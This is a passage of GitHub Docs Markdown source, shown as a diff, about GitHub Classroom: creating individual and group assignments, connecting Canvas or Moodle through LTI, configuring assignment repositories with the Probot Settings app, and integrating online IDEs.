"link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of 